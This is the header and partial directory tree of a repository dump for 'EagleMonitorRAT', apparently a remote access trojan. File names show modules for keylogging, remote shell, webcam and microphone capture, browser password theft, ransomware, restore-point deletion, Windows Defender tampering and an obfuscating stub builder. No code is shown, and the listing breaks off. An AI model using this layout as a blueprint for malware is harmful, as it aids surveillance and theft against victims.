Repository: arsium/EagleMonitorRAT Branch: main Commit: b73c77bd1cb6 Files: 2355 Total size: 9.4 MB Directory structure: gitextract_hnax25xv/ ├── LICENSE ├── README.md └── Remote Access Tool/ ├── C2/ │ ├── App.config │ ├── C2.csproj │ ├── client.cs │ └── obj/ │ └── Release/ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ ├── C2.csproj.AssemblyReference.cache │ ├── C2.csproj.CopyComplete │ ├── C2.csproj.CoreCompileInputs.cache │ ├── C2.csproj.FileListAbsolute.txt │ ├── C2.pdb │ ├── DesignTimeResolveAssemblyReferences.cache │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ └── _IsIncrementalBuild ├── Eagle Monitor RAT Reborn/ │ ├── Builder/ │ │ ├── IconInjector.cs │ │ ├── Obfuscate.cs │ │ ├── StubBuilder.cs │ │ └── WriteAssemblyInfo.cs │ ├── Controls/ │ │ ├── AboutForm.Designer.cs │ │ ├── AboutForm.cs │ │ ├── AboutForm.resx │ │ ├── ClientForm.Designer.cs │ │ ├── ClientForm.cs │ │ ├── ClientForm.resx │ │ ├── CustomContextMenuStrip.cs │ │ ├── FormPattern.cs │ │ ├── FormPattern.resx │ │ ├── MainForm.Designer.cs │ │ ├── MainForm.cs │ │ ├── MainForm.resx │ │ └── Utils.cs │ ├── DLLs/ │ │ ├── Leaf.xNet.dll.old │ │ ├── costura.fody.4.1.0.nupkg │ │ ├── fctb.2.16.24.nupkg │ │ ├── naudio.1.10.0.nupkg │ │ └── vestris.resourcelib.2.1.0.nupkg │ ├── Eagle Monitor RAT Reborn.csproj │ ├── Eagle Monitor RAT Reborn.csproj.user │ ├── FodyWeavers.xml │ ├── FodyWeavers.xsd │ ├── Misc/ │ │ ├── DotNetCodeExecution.cs │ │ ├── Encryption.cs │ │ ├── EncryptionInformation.cs │ │ ├── GitHubAPI.cs │ │ ├── Imports.cs │ │ ├── RandomString.cs │ │ ├── Settings.cs │ │ └── Utils.cs │ ├── Network/ │ │ ├── ChatHandler.cs │ │ ├── ClientHandler.cs │ │ ├── KeyloggerHandler.cs │ │ ├── PacketHandler.cs │ │ ├── RemoteDesktopHandler.cs │ │ ├── RemoteMicrophoneHandler.cs │ │ ├── RemoteShellHandler.cs │ │ ├── RemoteWebCamHandler.cs │ │ ├── ServerHandler.cs │ │ └── SocketHandler/ │ │ ├── ChatHandler.cs │ │ ├── KeyloggerHandler.cs │ │ ├── RemoteDesktopHandler.cs │ │ ├── RemoteMicrophoneHandler.cs │ │ ├── RemoteShellHandler.cs │ │ └── RemoteWebCamHandler.cs │ ├── PacketHandler/ │ │ ├── Audio/ │ │ │ ├── RemoteAudioCapturePacketHandler.cs │ │ │ └── RemoteAudioPacketHandler.cs │ │ ├── Client/ │ │ │ └── ConnectedPacketHandler.cs │ │ ├── Desktop/ │ │ │ └── RemoteViewerPacketHandler.cs │ │ ├── File/ │ │ │ ├── DeleteFilePacketHandler.cs │ │ │ ├── DisksPacketHandler.cs │ │ │ ├── DownloadFilePacketHandler.cs │ │ │ ├── FileManagerPacketHandler.cs │ │ │ └── ShortCutFileManagersPacketHandler.cs │ │ ├── Miscellaneous/ │ │ │ ├── ChatPacketHandler.cs │ │ │ ├── InformationPacketHandler.cs │ │ │ ├── KeylogOfflinePacketHandler.cs │ │ │ ├── KeylogPacketHandler.cs │ │ │ └── NetworkInformationPacketHandler.cs │ │ ├── Process/ │ │ │ ├── ProcessKillerPacketHandler.cs │ │ │ ├── ProcessManagerPacketHandler.cs │ │ │ ├── ResumeProcessPacketHandler.cs │ │ │ └── SuspendProcessPacketHandler.cs │ │ ├── Ransomware/ │ │ │ └── RansomareEncryptionConfirmationPacketHandler.cs │ │ ├── Recovery/ │ │ │ ├── AutofillPacketHandler.cs │ │ │ ├── HistoryPacketHandler.cs │ │ │ ├── KeywordsPacketHandler.cs │ │ │ └── PasswordsPacketHandler.cs │ │ ├── Shell/ │ │ │ ├── RemoteShellStdOutPacketHandler.cs │ │ │ └── RemoteStartShellPacketHandler.cs │ │ ├── UAC/ │ │ │ ├── DeleteRestorePointPacketHandler.cs │ │ │ └── RestorePointPacketHandler.cs │ │ └── Webcam/ │ │ ├── RemoteCameraCapturePacketHandler.cs │ │ └── RemoteCameraPacketHandler.cs │ ├── Program.cs │ ├── Properties/ │ │ ├── AssemblyInfo.cs │ │ ├── Resources.Designer.cs │ │ ├── Resources.resx │ │ ├── Settings.Designer.cs │ │ └── Settings.settings │ ├── app.config │ ├── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.8.AssemblyAttributes.cs │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.CopyComplete │ │ │ ├── Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt │ │ │ ├── Eagle Monitor RAT Reborn.csproj.GenerateResource.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache │ │ │ ├── Eagle Monitor RAT Reborn.pdb │ │ │ ├── Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources │ │ │ ├── Eagle_Monitor_RAT_Reborn.MainForm.resources │ │ │ ├── Eagle_Monitor_RAT_Reborn.Properties.Resources.resources │ │ │ └── _IsIncrementalBuild │ │ ├── Release/ │ │ │ ├── .NETFramework,Version=v4.8.1.AssemblyAttributes.cs │ │ │ ├── .NETFramework,Version=v4.8.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 06C618BF65B7082DA8CC2FA25E7F51C25618F3F1.costura.system.design.dll.compressed │ │ │ │ ├── 11E7A949A3B2BCDB3F71C7729DAF33A6ED39D388.costura.microsoft.csharp.dll.compressed │ │ │ │ ├── 280A1EC5AB002D1AB15279B3FB0DE8DD3C4AA482.costura.guna.ui2.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 34CC0AA16D0434317C6AB8FF7E635A334C1F6BE3.costura.packetlib.dll.compressed │ │ │ │ ├── 40C8700C0AC9C2D937CF8FE667F34D98132A3E30.costura.packetlib.dll.compressed │ │ │ │ ├── 4B60B87FD696B02D7FCE38325C7ADFC9E806F650.costura.fastcoloredtextbox.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 79C9B2C2396B89CAC82F277E41AB5460296837F2.costura.system.windows.forms.dll.compressed │ │ │ │ ├── 7D0AD03FBDA1C24F883116B940717E596073AE96.costura.newtonsoft.json.dll.compressed │ │ │ │ ├── 8035C64D9367585A5C803A2733942101403D2491.costura.dnlib.dll.compressed │ │ │ │ ├── 84852CC1728B2DDBE3C868B0BD35438579CF4825.costura.packetlib.dll.compressed │ │ │ │ ├── 89662FED195D7B9D65AB7BA8605A3CD953F2B06A.costura.leaf.xnet.dll.compressed │ │ │ │ ├── 94C3222A9FCDF2AD693DF38EFC986EFF5C48DEA6.costura.packetlib.dll.compressed │ │ │ │ ├── 996236960C9DD8E96666D4FA414617EFF7F4DAAF.costura.system.dll.compressed │ │ │ │ ├── A1936AC79C987A5BA47CA3D023F740401F73529B.costura.vestris.resourcelib.dll.compressed │ │ │ │ ├── AA58D034D3223429EACFDAD7A052D3735872DE94.costura.startuptask.dll.compressed │ │ │ │ ├── AFDC5D27FB919D1D813E6A07466F889DBC8C6677.costura.naudio.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── CE74F5AC102367010A1473955AF0C518BB5E68DD.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E41B240F140B18C2AD68373B4A008A606F9AC830.costura.packetlib.dll.compressed │ │ │ │ ├── E5536A0CF421E82F8A9C942C37326E6836806FC7.costura.system.drawing.dll.compressed │ │ │ │ ├── E71930C23E2D9F2B5D8CF452A778A7D4FB2C310C.costura.packetlib.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ └── F4FE76BD79AE369FD30E63D0BDA609D102083FF5.costura.microsoft.visualbasic.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.CopyComplete │ │ │ ├── Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt │ │ │ ├── Eagle Monitor RAT Reborn.csproj.Fody.CopyLocal.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.GenerateResource.cache │ │ │ ├── Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache │ │ │ ├── Eagle_Monitor_RAT_Reborn.AboutForm.resources │ │ │ ├── Eagle_Monitor_RAT_Reborn.ClientForm.resources │ │ │ ├── Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources │ │ │ ├── Eagle_Monitor_RAT_Reborn.MainForm.resources │ │ │ ├── Eagle_Monitor_RAT_Reborn.Properties.Resources.resources │ │ │ └── _IsIncrementalBuild │ │ └── x64/ │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.8.1.AssemblyAttributes.cs │ │ ├── .NETFramework,Version=v4.8.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 06C618BF65B7082DA8CC2FA25E7F51C25618F3F1.costura.system.design.dll.compressed │ │ │ ├── 11E7A949A3B2BCDB3F71C7729DAF33A6ED39D388.costura.microsoft.csharp.dll.compressed │ │ │ ├── 280A1EC5AB002D1AB15279B3FB0DE8DD3C4AA482.costura.guna.ui2.dll.compressed │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ ├── 40C8700C0AC9C2D937CF8FE667F34D98132A3E30.costura.packetlib.dll.compressed │ │ │ ├── 4B60B87FD696B02D7FCE38325C7ADFC9E806F650.costura.fastcoloredtextbox.dll.compressed │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ ├── 79C9B2C2396B89CAC82F277E41AB5460296837F2.costura.system.windows.forms.dll.compressed │ │ │ ├── 7D0AD03FBDA1C24F883116B940717E596073AE96.costura.newtonsoft.json.dll.compressed │ │ │ ├── 8035C64D9367585A5C803A2733942101403D2491.costura.dnlib.dll.compressed │ │ │ ├── 84852CC1728B2DDBE3C868B0BD35438579CF4825.costura.packetlib.dll.compressed │ │ │ ├── 89662FED195D7B9D65AB7BA8605A3CD953F2B06A.costura.leaf.xnet.dll.compressed │ │ │ ├── 94C3222A9FCDF2AD693DF38EFC986EFF5C48DEA6.costura.packetlib.dll.compressed │ │ │ ├── 996236960C9DD8E96666D4FA414617EFF7F4DAAF.costura.system.dll.compressed │ │ │ ├── A1936AC79C987A5BA47CA3D023F740401F73529B.costura.vestris.resourcelib.dll.compressed │ │ │ ├── AA58D034D3223429EACFDAD7A052D3735872DE94.costura.startuptask.dll.compressed │ │ │ ├── AFDC5D27FB919D1D813E6A07466F889DBC8C6677.costura.naudio.dll.compressed │ │ │ ├── CE74F5AC102367010A1473955AF0C518BB5E68DD.costura.packetlib.dll.compressed │ │ │ ├── E5536A0CF421E82F8A9C942C37326E6836806FC7.costura.system.drawing.dll.compressed │ │ │ ├── E71930C23E2D9F2B5D8CF452A778A7D4FB2C310C.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ └── F4FE76BD79AE369FD30E63D0BDA609D102083FF5.costura.microsoft.visualbasic.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Eagle Monitor RAT Reborn.csproj.AssemblyReference.cache │ │ ├── Eagle Monitor RAT Reborn.csproj.CopyComplete │ │ ├── Eagle Monitor RAT Reborn.csproj.CoreCompileInputs.cache │ │ ├── Eagle Monitor RAT Reborn.csproj.FileListAbsolute.txt │ │ ├── Eagle Monitor RAT Reborn.csproj.GenerateResource.cache │ │ ├── Eagle Monitor RAT Reborn.csproj.SuggestedBindingRedirects.cache │ │ ├── Eagle_Monitor_RAT_Reborn.AboutForm.resources │ │ ├── Eagle_Monitor_RAT_Reborn.ClientForm.resources │ │ ├── Eagle_Monitor_RAT_Reborn.Controls.FormPattern.resources │ │ ├── Eagle_Monitor_RAT_Reborn.MainForm.resources │ │ ├── Eagle_Monitor_RAT_Reborn.Properties.Resources.resources │ │ └── _IsIncrementalBuild │ └── packages.config ├── Eagle Monitor RAT.sln ├── Plugins/ │ ├── Admin/ │ │ ├── Admin.csproj │ │ ├── ClientHandler.cs │ │ ├── DeleteRestorePoint.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── GetRestorePoints.cs │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── Utils.cs │ │ ├── WindowsDefender.cs │ │ └── obj/ │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Admin.csproj.AssemblyReference.cache │ │ ├── Admin.csproj.CopyComplete │ │ ├── Admin.csproj.CoreCompileInputs.cache │ │ ├── Admin.csproj.FileListAbsolute.txt │ │ ├── Admin.csproj.Fody.CopyLocal.cache │ │ ├── Costura/ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ └── EEBF9ACA6EC6C40D71DA419CABF07E71EEAF2365.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ └── _IsIncrementalBuild │ ├── AudioRecording/ │ │ ├── AudioRecording.csproj │ │ ├── ClientHandler.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── GetDevices.cs │ │ ├── Helpers.cs │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── obj/ │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── AudioRecording.csproj.AssemblyReference.cache │ │ │ ├── AudioRecording.csproj.CoreCompileInputs.cache │ │ │ ├── AudioRecording.csproj.FileListAbsolute.txt │ │ │ ├── AudioRecording.csproj.Fody.CopyLocal.cache │ │ │ ├── Costura/ │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 294685642B3929A3FF089A5693EF8FEBA8CF0F9A.costura.packetlib.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ ├── 94C3222A9FCDF2AD693DF38EFC986EFF5C48DEA6.costura.packetlib.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ ├── AFDC5D27FB919D1D813E6A07466F889DBC8C6677.costura.naudio.dll.compressed │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── CE74F5AC102367010A1473955AF0C518BB5E68DD.costura.packetlib.dll.compressed │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── Chat/ │ │ ├── Chat.csproj │ │ ├── ChatForm.cs │ │ ├── ChatForm.resx │ │ ├── ClientHandler.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── FormPattern.cs │ │ ├── FormPattern.resx │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ └── Resources.resx │ │ ├── obj/ │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Chat.csproj.AssemblyReference.cache │ │ │ ├── Chat.csproj.CoreCompileInputs.cache │ │ │ ├── Chat.csproj.FileListAbsolute.txt │ │ │ ├── Chat.csproj.Fody.CopyLocal.cache │ │ │ ├── Chat.csproj.GenerateResource.cache │ │ │ ├── Costura/ │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ ├── 280A1EC5AB002D1AB15279B3FB0DE8DD3C4AA482.costura.guna.ui2.dll.compressed │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 443AFEDA004A33A44F1EEB33218AEE0622DD9B16.costura.guna.ui2.dll.compressed │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ ├── 53FA4122EE5F2D63239E70B60C33F329FE442901.costura.guna.ui2.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ ├── 84852CC1728B2DDBE3C868B0BD35438579CF4825.costura.packetlib.dll.compressed │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ └── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── EagleMonitor.Controls.FormPattern.resources │ │ │ ├── Plugin.ChatForm.resources │ │ │ ├── Plugin.Properties.Resources.resources │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── FileManager/ │ │ ├── ClientHandler.cs │ │ ├── DeleteFile.cs │ │ ├── DownloadClientHandler.cs │ │ ├── FileManager.csproj │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── GetDisks.cs │ │ ├── GetFilesAndDirs.cs │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── MoveFile.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── Shorcuts.cs │ │ ├── StartFile.cs │ │ ├── UploadFile.cs │ │ └── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 093B1CECD25C84D83FA542739A470E5176C0ECC3.costura.packetlib.dll.compressed │ │ │ │ ├── 0ACFB18416374D87D9A8F41AA16904779FAFC98B.costura.packetlib.dll.compressed │ │ │ │ ├── 11C144B51D406A1FDA5622AC80744F41C1F54B41.costura.packetlib.dll.compressed │ │ │ │ ├── 14D89B776BC1B6F35BC9E1471948B3BA6FA40B5F.costura.packetlib.dll.compressed │ │ │ │ ├── 15B6D921A0888166B66779D854ED2F429F5E0DB8.costura.packetlib.dll.compressed │ │ │ │ ├── 169D9715E5055B4695017FABC70BDC67BA96C3EB.costura.packetlib.dll.compressed │ │ │ │ ├── 1B6A595A5483B79FE77D5C94EA6629C8D6F9BC3F.costura.packetlib.dll.compressed │ │ │ │ ├── 1D27C8364B81D446EB8E88B116B7A0C09D01681C.costura.packetlib.dll.compressed │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ ├── 